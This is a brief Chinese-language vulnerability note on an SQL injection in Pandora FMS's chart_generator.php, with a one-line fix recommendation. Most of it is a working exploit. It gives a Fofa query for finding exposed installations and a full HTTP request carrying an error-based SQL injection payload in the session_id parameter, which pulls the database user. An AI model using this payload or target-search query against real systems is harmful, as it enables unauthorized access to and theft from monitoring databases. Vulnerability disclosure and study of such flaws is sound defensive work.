# PandoraFMS 监控软件 SQL注入

## 漏洞描述

Pandora FMS是西班牙Artica公司的一套监控系统。该系统通过可视化的方式监控网络、服务器、虚拟基础架构和应用程序等。Pandora FMS监控软件存在SQL注入漏洞，攻击者通过chart\_generator.php 来执行恶意语句，获取数据库敏感信息。

## 漏洞复现

1. Fofa

app="PANDORAFMS-产品"



1. 界面如下



1. POC

GET /pandora\_console/include/chart\_generator.php?session\_id=1'%20OR%20(SELECT%206562%20FROM(SELECT%20COUNT(\*),CONCAT(0x7176767171,(SELECT%20MID((IFNULL(CAST(CURRENT\_USER()%20AS%20NCHAR),0x20)),1,54)),0x71627a6a71,FLOOR(RAND(0)\*2))x%20FROM%20INFORMATION\_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20WIkG HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Accept-Encoding: gzip

Connection: close



## 修复建议

1、⼚商已发布了漏洞修复程序，请及时关注更新：<https://pandorafms.com/community/>